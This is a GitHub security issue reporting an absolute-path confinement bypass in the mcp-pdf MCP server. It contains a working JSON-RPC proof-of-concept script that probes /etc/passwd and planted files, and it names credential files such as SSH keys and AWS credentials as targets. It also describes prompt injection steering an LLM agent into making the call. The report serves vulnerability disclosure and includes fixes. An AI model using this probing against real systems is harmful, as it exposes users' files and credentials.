Skip to content

[Potential Vulnerability] Absolute-path file-open confinement bypass (path traversal) via pdf_path in mcp-pdf #1

Description

@mcfly-zzh

Summary

mcp-pdf (rsp2k/mcp-pdf) is a local MCP server whose tools read and process PDF files supplied as a pdf_path argument. Every PDF tool routes that argument through a single shared guard, validate_pdf_path (src/mcp_pdf/security.py:83), before opening the file. That guard rejects the literal substring '../' but never rejects absolute paths. A caller-supplied pdf_path such as /etc/passwd or /root/.ssh/id_rsa is therefore Path(...).resolve()d and passed verbatim to open(path, 'rb') (security.py:127) and then fitz.open(str(path)), escaping the intended "process a local PDF" scope.

An MCP client — or an LLM that has been prompt-injected into calling one of these tools — can thus make the server open any absolute path the server uid can reach. The practical disclosure is bounded (see Impact and Observed result): the server opens the target as a PDF, so for a non-PDF file it reads the header, fails the %PDF- check, and returns a parse error rather than the file's contents. The full contents are returned only when the attacker-chosen path is itself a valid PDF outside the intended directory. Even for non-PDF targets, the bypass yields a reliable file existence / readability oracle: the tool returns three distinguishable errors for "exists but not a PDF", "exists but unreadable", and "does not exist", letting an attacker probe for arbitrary files (SSH keys, credential files, .envs) under the server uid.

Affected component

  • Repository: https://github.com/rsp2k/mcp-pdf
  • Distribution name: mcp-pdf, version 2.3.0 (per pyproject.toml); console entry point mcp-pdf = mcp_pdf.server:main (stdio transport, FastMCP mcp.run() default).
  • Verified against commit 345a69c062ef5f4fd312a29d0cca6d09988899df (345a69c) on the default branch (HEAD, 2026-06-09). The commit hash is the stable reference.
  • Shared guard / sink: validate_pdf_path at src/mcp_pdf/security.py:83; the file is opened at src/mcp_pdf/security.py:127 (open(path, 'rb')) and again by the tool body via fitz.open(str(path)).
  • Tools exposing the primitive (non-exhaustive — every PDF tool calls validate_pdf_path(pdf_path) first; the registered names carry a mixin prefix, e.g. textextraction__):
    • textextraction__is_scanned_pdf(pdf_path) — handler src/mcp_pdf/mixins_official/text_extraction.py:371; validate_pdf_path at text_extraction.py:384.
    • textextraction__extract_text(pdf_path, ..., inline) — handler text_extraction.py:45; validate_pdf_path at text_extraction.py:80. With inline=True, returns extracted PDF text in the response.
    • textextraction__ocr_pdf(pdf_path, ...) — handler text_extraction.py:197; validate_pdf_path at text_extraction.py:235.
    • documentanalysis__*, contentanalysis__*, formmanagement__*, annotations__*, permitforms__*, and others — all call validate_pdf_path(pdf_path) / validate_pdf_path(input_path) (grep validate_pdf_path across src/mcp_pdf/mixins_official/).

Root cause

src/mcp_pdf/security.py:83-134 — the shared path guard. The caller's string is resolved to an absolute path and opened; the only traversal defence is a substring check for '../', which an absolute path like /etc/passwd does not contain. There is no rejection of absolute paths and no confinement to a project/working root:

async def validate_pdf_path(pdf_path: str) -> Path:
    if not pdf_path:
        raise ValueError("PDF path cannot be empty")

    # Handle URLs
    if pdf_path.startswith(('http://', 'https://')):
        return await _download_url_safely(pdf_path)

    # Handle local file paths
    path = Path(pdf_path).resolve()                       # absolute path used verbatim

    # Check for path traversal attempts
    if '../' in str(pdf_path) or '\\..\\' in str(pdf_path):   # <-- only blocks '../'
        raise ValueError("Path traversal detected in PDF path")

    # Check if file exists
    if not path.exists():
        raise FileNotFoundError(f"PDF file not found: {path}")   # <-- existence oracle
    if not path.is_file():
        raise ValueError(f"Path is not a file: {path}")
    ...
    # Basic PDF header validation
    try:
        with open(path, 'rb') as f:                        # <-- security.py:127  the open()
            header = f.read(8)
            if not header.startswith(b'%PDF-'):
                raise ValueError("File does not appear to be a valid PDF")
    except Exception as e:
        raise ValueError(f"Cannot read PDF file: {e}")     # <-- non-PDF / no-read oracle

    return path

Two distinct gaps:

  • Absolute paths are never rejected. pdf_path="/etc/passwd" or pdf_path="/root/.ssh/id_rsa" passes the '../' substring check unchanged and is opened.
  • No confinement. The path is resolve()d and used directly; there is no allow-listed base directory and no check that the resolved path stays under a project root. (The '../' substring check also fails to stop traversal via an absolute prefix or symlinks, but absolute paths alone are already sufficient.)

The tool wrappers add no validation of their own — e.g. is_scanned_pdf (text_extraction.py:384) just does path = await validate_pdf_path(pdf_path) then fitz.open(str(path)).

Impact

The MCP server typically runs as the desktop user that owns the agent / IDE session. Under the standard prompt-injection threat model (an attacker delivers content — a web page, README, ticket, or document the agent processes — that steers it into a tool call), an attacker who controls pdf_path can make the server open() any absolute path the server uid can reach, outside the intended PDF-processing scope. The disclosure is bounded by the PDF parser, so impact splits into two tiers:

  • Full content disclosure — only for valid-PDF targets. If the attacker-chosen out-of-tree path is itself a valid PDF (e.g. another user's document under /home/..., a PDF in a sibling project, a cached PDF in /tmp), extract_text(..., inline=True) / ocr_pdf return its full text in the tool response. This is genuine arbitrary-PDF read across the filesystem.

  • File existence / readability oracle — for any target. For non-PDF files the server still opens the path and returns a distinguishable error per case, leaking metadata about arbitrary files:

    • exists, readable, not a PDF → "Cannot read PDF file: File does not appear to be a valid PDF"
    • exists, not readable → "Cannot read PDF file: [Errno 13] Permission denied: ..."
    • does not exist → "PDF file not found: ..."

    An attacker can therefore enumerate the presence, readability, and absence of arbitrary absolute paths (/root/.ssh/id_rsa, ~/.aws/credentials, /etc/shadow, specific app config) under the server uid — a useful reconnaissance and information-disclosure primitive, and a confirmed confinement bypass.

There is no write primitive through this path (validate_pdf_path only reads); the bug is read/metadata-disclosure, not integrity. sanitize_error_message redacts /home/... and /tmp/... substrings from the error strings, but the error type still differs per case, so the oracle survives sanitization (confirmed in Observed result, case 3 vs 4).

CWE / classification

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') — absolute-path variant
  • CWE-73: External Control of File Name or Path
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (full content for PDF targets)
  • CWE-203 / CWE-538: Observable discrepancy / file-and-directory information exposure (the existence/readability error oracle)
  • Suggested severity: High

Reproduction

The PoC speaks raw JSON-RPC over the server's stdio transport — no MCP client library. It does the full MCP handshake, then runs a 4-way differential on is_scanned_pdf(pdf_path=<absolute>) to localize the open() to the attacker-chosen path, plus an extract_text content read of a planted out-of-tree PDF. All four targets are outside the server's working directory (project root). Verified end-to-end against commit 345a69c. Save the client to /tmp/mcppdf_poc.py.

Build and run

# 1. Clone and install into a venv
git clone https://github.com/rsp2k/mcp-pdf /tmp/mcp-pdf-poc
cd /tmp/mcp-pdf-poc
python3 -m venv .venv && .venv/bin/pip install -e .

# 2. Save the script below as /tmp/mcppdf_poc.py
#    (set CLONE/ENTRY at the top to /tmp/mcp-pdf-poc and its .venv/bin/mcp-pdf)

# 3. Run it (server runs as a stdio subprocess; never bound to a network port)
/tmp/mcp-pdf-poc/.venv/bin/python /tmp/mcppdf_poc.py

/tmp/mcppdf_poc.py — raw JSON-RPC client over stdio (spawns the server with cwd = the clone, so the project root is well-defined and all targets are outside it):

#!/usr/bin/env python3
import json, os, subprocess, sys, time

CLONE = "/tmp/mcp-pdf-poc"
ENTRY = os.path.join(CLONE, ".venv/bin/mcp-pdf")

PLANTED_PDF    = "/tmp/mcppdf_poc_secret.pdf"        # valid PDF, attacker-chosen abs path
NOREAD_SECRET  = "/tmp/mcppdf_poc_noread.txt"        # exists but mode 000
PASSWD         = "/etc/passwd"                        # real system file, non-PDF
NONEXISTENT    = "/tmp/mcppdf_poc_does_not_exist_zzz"

MINIMAL_PDF = (
    b"%PDF-1.4\n"
    b"1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n"
    b"2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n"
    b"3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 200 200]>>endobj\n"
    b"xref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n"
    b"0000000052 00000 n \n0000000101 00000 n \ntrailer<</Size 4/Root 1 0 R>>\n"
    b"startxref\n170\n%%EOF\n"
)
with open(PLANTED_PDF, "wb") as f:
    f.write(MINIMAL_PDF)
try: os.chmod(NOREAD_SECRET, 0o600)
except OSError: pass
with open(NOREAD_SECRET, "w") as f:
    f.write("TOP-SECRET-MCPPDF-POC: this content must never be readable\n")
os.chmod(NOREAD_SECRET, 0o000)
try: os.remove(NONEXISTENT)
except OSError: pass

proc = subprocess.Popen([ENTRY], stdin=subprocess.PIPE, stdout=subprocess.PIPE,
    stderr=subprocess.DEVNULL, cwd=CLONE, text=True, bufsize=1)

def send(m): proc.stdin.write(json.dumps(m) + "\n"); proc.stdin.flush()
def recv(t=60):
    end = time.time() + t
    while time.time() < end:
        line = proc.stdout.readline()
        if not line: break
        line = line.strip()
        if line.startswith("{"):
            try:
                o = json.loads(line)
                if "id" in o: return o
            except Exception: pass
    return None
def call(name, args, _id):
    send({"jsonrpc":"2.0","id":_id,"method":"tools/call","params":{"name":name,"arguments":args}})
    r = recv()
    try: return r["result"]["content"][0]["text"]
    except Exception: return json.dumps(r)

send({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
    "capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}); recv()
send({"jsonrpc":"2.0","method":"notifications/initialized"})
send({"jsonrpc":"2.0","id":2,"method":"tools/list"}); tl = recv()
names = [t["name"] for t in (tl.get("result",{}).get("tools",[]) if tl else [])]
print("server cwd (project root):", CLONE)
print("tools/list count:", len(names))
print()

print("=== 4-way differential on is_scanned_pdf(pdf_path=<absolute>) ===\n")
print("(1) planted VALID PDF outside project root -> %s" % PLANTED_PDF)
print(call("textextraction__is_scanned_pdf", {"pdf_path": PLANTED_PDF}, 3)); print()
print("(2) /etc/passwd (exists, readable, NOT a PDF) -> %s" % PASSWD)
print(call("textextraction__is_scanned_pdf", {"pdf_path": PASSWD}, 4)); print()
print("(3) unreadable secret (exists, mode 000) -> %s" % NOREAD_SECRET)
print(call("textextraction__is_scanned_pdf", {"pdf_path": NOREAD_SECRET}, 5)); print()
print("(4) nonexistent path (control) -> %s" % NONEXISTENT)
print(call("textextraction__is_scanned_pdf", {"pdf_path": NONEXISTENT}, 6)); print()

print("=== extract_text on the planted out-of-tree PDF (inline) ===")
print(call("textextraction__extract_text", {"pdf_path": PLANTED_PDF, "inline": True}, 7)); print()

proc.stdin.close(); time.sleep(0.3); proc.terminate()

Observed result (captured)

Real output from running the PoC against commit 345a69c (server spawned as a stdio subprocess; the runner is a non-root uid, so the mode-000 file is genuinely unreadable):

server cwd (project root): /tmp/mcp-pdf-poc
tools/list count: 54

=== 4-way differential on is_scanned_pdf(pdf_path=<absolute>) ===

(1) planted VALID PDF outside project root -> /tmp/mcppdf_poc_secret.pdf
{"success":true,"is_scanned":true,"confidence":0.7,"analysis_summary":{"pages_analyzed":1,"pages_with_minimal_text":1,"pages_with_large_images":0,"total_pages":1},"page_analysis":{"text_analysis":[{"page":1,"text_length":0,"has_text":false}],"image_analysis":[{"page":1,"image_count":0,"image_coverage_percent":0.0,"large_image_present":false}]},"recommendations":["Use OCR for text extraction"],"file_info":{"path":"/tmp/mcppdf_poc_secret.pdf","total_pages":1},"analysis_time":0.02}

(2) /etc/passwd (exists, readable, NOT a PDF) -> /etc/passwd
{"success":false,"error":"Cannot read PDF file: File does not appear to be a valid PDF","analysis_time":0.0}

(3) unreadable secret (exists, mode 000) -> /tmp/mcppdf_poc_noread.txt
{"success":false,"error":"Cannot read PDF file: [Errno 13] Permission denied: '[REDACTED]","analysis_time":0.0}

(4) nonexistent path (control) -> /tmp/mcppdf_poc_does_not_exist_zzz
{"success":false,"error":"PDF file not found: [REDACTED]","analysis_time":0.0}

=== extract_text on the planted out-of-tree PDF (inline) ===
{"text":"--- Page 1 ---","method_used":"pymupdf","success":true,"file_info":{"path":"/tmp/mcppdf_poc_secret.pdf","total_pages":1,"pages_extracted":1,"pages_requested":"all"},"extraction_time":0.0}

Interpretation. All four targets are absolute paths outside the server's working directory, yet each is acted on. The four outcomes are mutually distinct and can only arise if the attacker-chosen absolute path reached the filesystem open():

  • (1) a valid PDF planted out-of-tree is fully opened and parsed (success:true, page analysis), and (extract_text) its content is returned in the tool response — confirming full-content read of an arbitrary PDF outside the intended directory.
  • (2) vs (4): an existing-but-non-PDF file (/etc/passwd) returns "... File does not appear to be a valid PDF" while a nonexistent path returns "PDF file not found". The server opened /etc/passwd, read its header, and rejected it on the %PDF- check — proving the read happened (not a pre-open rejection).
  • (3): an existing but unreadable file returns "... [Errno 13] Permission denied" — distinct from both (2) and (4), so the differential discloses existence and readability. sanitize_error_message redacts the /tmp/... path text but not the error class, so the oracle survives.

This is a confirmed confinement bypass with bounded disclosure: full contents for PDF targets, and a precise existence/readability oracle for everything else.

Expected result

validate_pdf_path should resolve the path with realpath and reject any path that does not remain inside an operator-configured root (defaulting to the server's working directory), before open() or fitz.open(). Absolute paths and any .. segment that escapes the root must be refused, and error messages should be normalized so they do not differentiate "not a PDF" / "permission denied" / "not found" for paths outside the root.

Suggested fix

  1. Replace the '../' substring check in validate_pdf_path (security.py:107-109) with real containment. Reject absolute inputs explicitly and confine the resolved path to a base root:

    def safe_under_root(base: Path, candidate: str) -> Path:
        if os.path.isabs(candidate):
            raise ValueError("absolute paths are not allowed")
        base = base.resolve()
        resolved = (base / candidate).resolve()
        if base != resolved and base not in resolved.parents:
            raise ValueError("path escapes the allowed root")
        return resolved

    Apply it in validate_pdf_path before the existence check and the open() at security.py:127, and to input_path / template_path / source_pdf_path in the other mixins that call validate_pdf_path.

  2. Drive the allowed root from an env var (e.g. MCP_PDF_ALLOWED_PATHS, which already exists for validate_output_path) defaulting to cwd, and apply the same allow-list logic to read paths that validate_output_path already applies to writes — today reads are entirely unconfined while writes are gated.

  3. Normalize / collapse the failure responses so a caller cannot distinguish "exists but not a PDF" from "permission denied" from "not found" for paths outside the root — return a single generic "path not allowed" before touching the filesystem, removing the existence/readability oracle.

  4. Update the pdf_path tool-schema description fields to state that the argument must be a relative path inside the configured root — and enforce it server-side rather than relying on the description.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions